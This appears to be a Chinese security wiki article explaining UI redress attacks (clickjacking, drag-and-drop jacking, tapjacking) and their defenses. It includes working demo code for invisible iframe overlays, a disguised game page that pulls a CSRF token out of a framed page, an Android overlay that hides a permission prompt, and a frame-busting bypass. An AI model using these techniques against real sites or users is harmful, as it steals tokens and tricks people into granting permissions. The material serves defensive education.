0x00 前言

完善wiki知识库。

0x01 界面操作劫持

简介

界面操作劫持是一种基于视觉欺骗的Web会话劫持攻击,通过在网页的可见输入控件上覆盖一个不可见的框(iframe),使得用户误以为在操作可见控件,而实际上用户的操作行为被其不可见的框所劫持,执行不可见框中的恶意劫持代码,从而完成在用户不知情的情况下窃取敏感信息、篡改数据等攻击。

界面操作劫持实际上是突破了CSRF的防御策略,是一种社工型跨域操作,而这种跨域正是浏览器自身的特性。

基础技术

界面劫持技术的基础就是前面提到的”覆盖一个不可见的框”,可以理解为:透明层 + iframe

通过页面透明层+iframe实现了对用户的视觉欺骗,即用户看到的操作对象和实际操作对象是不一致的,从而为界面操作劫持攻击提供了技术手段。

透明层使用CSS样式实现

对于IE浏览器 <= 8版本,使用的私有CSS透明属性如下,数值从0-100,数值越小透明度越高:

1
filter:Alpha(opacity=50);

对于Chrome、Firefox、Safari、Opera这四款浏览器以及IE浏览器 > 8版本使用的CSS透明属性如下,数值从0-1,数值越小透明度越高:

1
opacity: 0.5;

控件位置之间的层次关系使用z-index,任何浏览器均支持,其数值可以为负数,高数值的控件会处于低数值控件的前面,数值越高、控件越靠近用户:

1
z-index: 2;

使用iframe来嵌入被劫持的页面

代码如下,其中scrolling属性设置为no即不在iframe中显示滚动条:

1
<iframe id="victim" src="http://www.victim.com" scrolling="no"></iframe>

攻击前提

目标页面未设置X-Frame-Options头进行防御。

分类

界面操作劫持攻击可分为以下三种:

  • 点击劫持(ClickJacking);
  • 拖放劫持(Drag&Drop Jacking);
  • 触屏劫持(TapJacking);

0x02 点击劫持(ClickJacking)

简介

这种攻击方式首先劫持的是用户的鼠标点击操作,因此才被命名为点击劫持。点击劫持主要的劫持目标是有重要会话交互的页面,比如用户的后台管理页面、银行交易页面或劫持用户的麦克风和摄像头等。

更简单地说,点击劫持就是利用社工搭配目标站的不安全配置对用户造成危害。

Demo

点击劫持的原理就是直接利用前面说到的透明层+iframe来实现的。

一个简单的Demo,clickjacking.html是一个用户可见的伪装页面,在其页面中设置iframe所在层为透明层,并在iframe中嵌套了inner.html页面,其中设计Click me按钮和Login按钮的位置重合,为了方便查看两个页面的嵌套情况就将opacity设置为0.5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<style>
#click{
width: 100px;
top: 20px;
left: 20px;
position: absolute;
z-index: 1
}
#hidden{
height: 50px;
width: 120px;
position: absolute;
filter: alpha(opacity=50);
opacity: 0.5;
z-index: 2
}
</style>
<input id="click" value="Click me" type="button"/>
<iframe id="hidden" src="inner.html" scrolling="no"></iframe>

inner.html:

1
<input style="width: 100px;" value="Login" type="button" onClick="alert('ClickJackingTest')"/>

当用户以为在点击clickjacking.html页面的Click me按钮时,实际上点击的是inner.html页面上的Login按钮:

0x03 拖放劫持(Drag&Drop Jacking)

简介

在2010的Black Hat Europe大会上,Paul Stone提出了点击劫持的技术演进版本:拖放劫持。由于用户需要用鼠标拖放完成的操作越来越多(如复制粘贴、小游戏等等),拖放劫持大大提高了点击劫持的攻击范围,将劫持模式从单纯的鼠标点击拓展到了鼠标拖放行为。

更重要的是,由于拖放操作不受浏览器“同源策略“影响,用户可以把一个域的内容拖放到另一个不同的域,由此突破SOP限制的拖放劫持可以演化出更广泛的攻击形式、突破很多种防御。比如攻击者可能通过劫持某个页面的拖放操作实现对其他页面链接的窃取,从而获得session key、token、password等敏感信息,甚至能将浏览器中的页面内容拖进文本编辑器,查看源代码。

2011年出现的CookieJacking攻击就是拖放攻击的代表,此攻击的成因是由于本地Cookie可以用标签嵌入,进而就可以利用拖放劫持来盗取用户的Cookie。在JavaScript或者Java API的支持下,这个攻击过程会变得非常隐蔽。因为它突破了传统ClickJacking一些先天的局限,所以这种新型的”拖拽劫持”能够造成更大的破坏。

dataTransfer对象

拖放劫持相比点击劫持的技术演进在于还需要一种数据传递的方法才能真正达到攻击效果。为了能协助拖放操作传递数据,在IE 5.0之后引入了dataTransfer对象,其作为event对象的一个属性出现,用于从被拖动的对象传递字符串到放置对象。

dataTransfer对象定义了两个主要方法:getData和setData

语句如下:

1
2
3
4
event.dataTransfer.setData("text", "sometext");
event.dataTransfer.setData("URL", "https://www.mi1k7ea.com");
var url = event.dataTransfer.getData("URL");
var text = event.dataTransfer.getData("text");

setData操作完成向系统剪贴板中存储需要传递的数据,传递数据分为两种类型:文本数据和URL数据。在HTML5扩展中,其允许指定任意的MIME类型。

getData操作完成获取有setData所存储的数据。

本地测试例子:

1
2
3
var dataTrans = new DataTransfer();
dataTrans.setData("text", "This is test.");
var text = dataTrans.getData("text");

dataTransfer对象和操作方法为跨域传送数据提供了有效的技术手段。

拖放函数

掌握视觉欺骗手段和数据传递方法之后,接下来要做的就是确定需要劫持的操作函数。

在HTML5中,用户在整个拖放过程中会依次触发相应的操作函数。

当鼠标拖动了一个控件,源对象将依次触发以下函数:

  • ondrag:在从drag动作开始,到drop动作结束的过程中,源对象触发的一个事件;
  • ondragstart:源对象开始拖放,开始移动时事件触发;
  • ondragend:源对象拖放结束,整个拖放操作结束时触发;

当拖动对象到一个有效的目标上时,目的对象将依次触发以下函数:

  • ondragenter:源对象进入过程对象范围内,被拖拽对象进入过程对象时被触发;
  • ondragover:源对象在过程对象范围内移动,被拖拽对象在过程对象内移动时触发;
  • ondragleave:源对象离开过程对象的范围,被拖拽对象离开目标对象时触发;
  • ondrop:源对象拖放到目标对象中,目标对象完全接受被拖拽对象时触发,可理解为在目标对象内松手时触发;

Demo

参考并稍微修改了下书上的例子。

drag_jacking.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
<!DOCTYPE html>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>
Drag and Drop Attack Demo
</title>
<style>
.IFrame_hidden {
height: 50px;
width: 50px;
top: 360px;
left: 365px;
overflow: hidden;
filter: alpha(opacity=0);
opacity: 0;
position: absolute;
}

.text_area_hidden {
height: 200px;
width: 200px;
top: 130px;
left: 580px;
border: 1px solid black;
overflow: hidden;
filter: alpha(opacity=0);
opacity: .0;
position: absolute;
}

.ball {
top: 350px;
left: 350px;
position: absolute;
}

.ball_1 {
top: 136px;
left: 640px;
filter: alpha(opacity=0);
opacity: .0;
position: absolute;
}

.Dolphin {
top: 150px;
left: 600px;
position: absolute;
}

.center {
margin-right: auto;
margin-left: auto;
vertical-align: middle;
text-align: center;
margin-top: 350px;
}
</style>
<script>
function Init() {
//添加监听
var source = document.getElementById("source");
var target = document.getElementById("target");
if (source.addEventListener) {
target.addEventListener("drop", DumpInfo, false);
}
else {
target.attachEvent("ondrop", DumpInfo);
}
}
function entities(s) {
var e = {
'"': '&quot;',
'&': '&amp;',
'<': '&lt;',
'>': '&gt;'
};
return s.replace(/["&<>]/g,
function (m) {
return e[m];
});
}
function DumpInfo(event) {
showHide_ball.call(this); //地面上的小球消失
showHide_ball_1.call(this); //海豚嘴上的小球出现
if (event.dataTransfer.types) {
//Firefox浏览器支持
var info = document.getElementById("info");
info.innerHTML += "<span style='color:#3355cc;font-size:12px'>" +
entities(event.dataTransfer.getData('text/html')) + "</span><br> ";
//在页面上打印出获取到的数据
}
else {
//IE浏览器支持
setTimeout("html()", 10);
}
}
function html() {
document.getElementById('target').innerText = document.getElementById('target').innerHTML;
var info = document.getElementById("info");
info.innerHTML += "<span style='color:#3355cc;font-size:12px'>" +
(document.getElementById('target').innerHTML)
+ "</span><br> ";
//在页面上打印出获取到的数据
}
function showHide_frame() {
var IFrame_1 = document.getElementById("IFrame_1");
IFrame_1.style.opacity = this.checked ? "0.5" : "0";
IFrame_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" +
(this.checked ? "50" : "0") + ");"
}
function showHide_text() {
var text_1 = document.getElementById("target");
text_1.style.opacity = this.checked ? "0.5" : "0";
text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha (opacity=" +
(this.checked ? "50" : "0") + ");"
}
function showHide_ball() {
var hide_ball = document.getElementById("hide_ball");
hide_ball.style.opacity = "0";
hide_ball.style.filter = "alpha(opacity=0)";
}
function showHide_ball_1() {
var hide_ball_1 = document.getElementById("hide_ball_1");
hide_ball_1.style.opacity = "1";
hide_ball_1.style.filter = "alpha(opacity=100)";
}
function reload_text() {
document.getElementById("target").value = ''
}
</script>
</head>

<body onload="Init();">
<center>
<h1>
Drag and Drop Attack
</h1>
</center>
<img id="hide_ball" src=ball.png class="ball">
<div id="source">
<iframe id="IFrame_1" src="http://127.0.0.1/token.html" class="IFrame_hidden" scrolling="no">
</iframe>
</div>

<img src=Dolphin.jpg class="Dolphin">
<div>
<img id="hide_ball_1" src=ball.png class="ball_1">
</div>
<div>
<div id="target" class="text_area_hidden" contenteditable="true">
HiJacking:
</div>
</div>
<div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold;top:600px;">
</div>
<center>
游戏规则:"Ctrl + A" 或滑动鼠标选中小球,然后把小球拖放到海豚的嘴上。
<br>
</center>
<br>
<br>
<div class="center">
<center>
<center>
<input id="showHide_frame" type="checkbox" onclick="showHide_frame.call (this);" />
<label for="showHide_frame">
Show the jacked I--Frame
</label>
|
<input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);" />
<label for="showHide_text">
Show the jacked Textarea
</label>
|
<input type=button value="Replay" onclick="location.reload();reload_text();">
</center>
<br>
<br>
<b>
Design by
<a target="_blank" href="http://hi.baidu.com/xisigr">
xisigr
</a>
</b>
</center>
</div>
</body>

</html>

token.html:

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
mi1k7ea's page
<form method="POST">
<input type="hidden" name="csrf_token" value="980f42huj98fu198" />
</form>
<a href="https://www.mi1k7ea.com/?logout&token=980f42huj98fu198">logout</a>
666666666
</html>

正常访问,页面中说明了游戏规则,具体地说就是鼠标选中小球、然后按”Ctrl+A”之后,鼠标拖放小球到海豚(其实是海狮)的嘴上即可完成游戏:

看到下面有两个选项,就是用来展示此次拖放劫持隐藏的内容框的,勾选上让其修改opacity为0.5看下效果:

可以看到,小球下面隐藏的就是目标框,而海狮嘴上周围隐藏的是攻击者劫持用的框。当用户鼠标点击小球,即点中了隐藏的目标框,然后Ctrl+A就会选中隐藏的目标框中所有内容,再拖动小球到海狮嘴上的过程中就会把隐藏的目标框中所有的信息拖到攻击者的框中,从而完成拖放劫持攻击:

注意一点是,当前没办法进行跨域拖放劫持。

0x04 触屏劫持(TapJacking)

简介

触屏劫持是界面操作劫持攻击模型的最新阶段,是针对智能移动设备进行的攻击。

2010年斯坦福公布触屏劫持攻击。通过将一个不可见的iframe覆盖到当前网页上就可以劫持用户的触屏操作。由于手机屏幕范围有限,手机浏览器为了节省空间会把地址栏隐藏起来,因此在手机上的视觉欺骗更容易实施。

移动设备的WebApp网页设计,无论是屏幕大小还是浏览器支持的函数上都和传统的Web应用不同。

下面的介绍均以iPhone的Safari浏览器为例。

桌面浏览器

iPhone的Safari浏览器有一个特殊的功能,即可以把网页添加到IOS系统的桌面当做一个程序图片来显示。添加后,主屏幕会出现一个由网页缩略图生成的APP图标。当用户点击这个图标后,就会打开网页,该功能和快捷键类似。在桌面浏览器程序中可以设置桌面图标、启动画面,还可以设置页面全屏和更改状态栏样式。

添加桌面图标的语句:

1
<link rel="apple-touch-icon" href="icon.png"/>

添加启动画面的语句:

1
<link rel="apple-touch-startup-image" href="startup.png"/>

全屏显示的语句:

1
<meta name="apple-mobile-web-app-capable" content="yes">

改变状态栏样式为书中图片所示的Status bar位置的语句:

1
<meta name="apple-mobile-web-app-status-bar-style" content="black">

经过上面的设置后,Web页面就和一个原生态的APP应用差不多了,其中全屏模式会隐藏URL地址栏和状态栏。

可视区域viewport

viewport就是除去所有的工具栏、状态栏、滚动条等之后网页的可视区域。移动设备的屏幕大小和传统的Web不同,需要我们改变viewport。

如下:

1
<meta name="viewport" content="width=320;initial-scale=1.0;maximun-scale=1.0; user-scaleable=no;"/>

参数说明:

  • width:viewport的宽度;
  • initial-scale:初始的缩放比例;
  • maximun-scale:允许用户缩放到的最大比例;
  • user-scaleable:用户是否可以手动缩放;

隐藏URL地址栏

除了用全屏模式隐藏URL地址栏外,还可以使用如下代码实现隐藏:

1
2
3
<body οnlοad="setTimeout(function()
{ window.scrollTo(0, 1) }, 100);">
</body>

触屏函数

使用IOS中Safari浏览器自己独特的触屏API函数,可以模拟鼠标点击或者拖放操作。

函数 说明
touchstart 手指触摸屏幕时发生
touchend 手指离开屏幕时发生
touchmove 手指滑动时发生
touchcancel 系统可取消touch事件

同样是使用透明层+iframe方法,然后配合移动设备特有的自身的覆盖到当前网页上就可以劫持用户的触屏操作。

Demo

参考GitHub上针对Android系统移动设备的触屏劫持例子:https://github.com/ggfhgg/Tapjacking_Android

简述:

  1. 页面整体采用相对布局,其中start按钮和premession按钮采用布局方法,将Start按钮覆盖在Premession按钮上,并设置start的透明度alpha为0.这样就使用户以为在点击Premession实际上是在触发Start;
  2. 点击Start,将加载一个image图像,同时触发一个模拟权限获取的提示框,并将提示框的主体背景设为透明,同时将刚刚加载的伪造消息提示的图像覆盖到权限提示框上,仅留下权限提示框的确认按钮,这样用户就误以为自己在点击信息提示的确认,其实是再点权限确认;
  3. 部分核心代码如下:

布局文件(activity_main.xml):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<FrameLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content">

<Button
android:id="@+id/button"
android:layout_width="match_parent"
android:layout_height="match_parent"
style="@style/btnStyle"
android:text="premession"
/>

<Button
android:id="@+id/btnStart"
style="@style/btnStyle"
android:layout_width="137dp"
android:layout_height="wrap_content"
android:onClick="startTJService"
android:text="@string/strStart"
android:alpha="0"/>



</FrameLayout>

MainActivity.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
this.startService(service);
AlertDialog.Builder bb = new AlertDialog.Builder(this);
bb.setPositiveButton("confrim",new DialogInterface.OnClickListener(){
public void onClick(DialogInterface arg0,int arg1){
Toast t = (Toast) Toast.makeText(getApplicationContext(),"你上当了!!",Toast.LENGTH_LONG);
t.show();
arg0.dismiss();
}
});
final AlertDialog dialog = bb.create();
WindowManager.LayoutParams lp = dialog.getWindow().getAttributes();
lp.alpha=1.0f;
dialog.getWindow().setAttributes(lp);
bb.setMessage("应用Tap_jacking正在申请联系人权限");
bb.setTitle("权限获取");
dialog.show();

ToastService.java:

1
2
3
4
5
6
7
8
9
10
public void onCreate() {
super.onCreate();
t = new Timer();
context = getApplicationContext();
jam = new Toast(context);

ImageView img = new ImageView(context);
img.setImageResource(R.drawable.ic_terms_message);
jam.setView(img);
}

效果如下。

当alpha为1时,是显示Start按钮的,如左图;当alpha为0时,完全不显示Start按钮,如右图:

权限提示框(完整的)lp.alpha = 1.0f,如左图;将权限框主体部分隐藏,只剩下确认按钮lp.alpha = 0.1f,如右图:

假的信息提示框与权限提示框拼接,误导用户,如左图;当用户被视觉欺骗去点击confrim就触发权限提示框onclick方法,弹出消息,攻击成功,如右图:

0x05 防御方法

界面操作劫持的防御比较简单,因为其都是通过视觉欺骗的方法进行Web会话劫持。主要的防御思路就是:使有重要会话的交互页面不允许被iframe嵌入,或者只允许被同源iframe嵌入。

X-FRAME-OPTIONS

X-Frame-Options HTTP 响应头是用来给浏览器 指示允许一个页面 可否在 <frame>, <iframe>, <embed> 或者 <object> 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 ClickJacking 攻击。

其有三个可能的值:

1
2
3
X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://example.com/
  • deny:表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
  • sameorigin:表示该页面可以在相同域名页面的 frame 中展示。
  • allow-from uri:表示该页面可以在指定来源的 frame 中展示。

Frame Busting脚本防御

Frame Busting脚本是指使用JavaScript脚本对页面进行控制,达到页面无法被iframe嵌入的目的。

比如:

1
2
3
4
5
<script>
if (top.location != self.location) {
top.location = self.location;
}
</script>

代码中top指代主体窗口对象,self指代当前窗口对象。如果判断出页面的主体窗口地址与当前窗口地址不同,就将主体窗口地址设置为当前窗口地址。这样就能避免了用户的操作实际发生窗口和所见窗口不一致的情况,从而成功防御了通过透明层进行的界面操作劫持攻击。

然后上述Frame Busting代码存在问题,就是在IE下,如果在主体窗口加入<script>var location=""</script>这段代码,那么Frame Busting代码就会被绕过。

绕过示例如下,security="restricted"为IE的禁止JS,sandbox=""为HTML5的禁止JS:

1
<iframe src="xxx" security="restricted" scrolling="no" sandbox="">

书上给出当时防御性最高的Frame Busting代码:

1
2
3
4
5
6
7
8
9
10
<style>
html {display:none;}
</style>
<script>
if (self == top) {
document.documentElement.style.display = 'block';
} else {
top.location = self.location;
}
</script>

使用token防御

CSRF Token其实也可以进行界面操作劫持攻击的防御。

比如一个登录页面http://url/login?idtoken=9u1wf3,如果攻击者无法猜测到idtoken后面的值,那么这个登录页面就不能被iframe嵌入,进而也无法对这个页面进行界面操作劫持攻击了。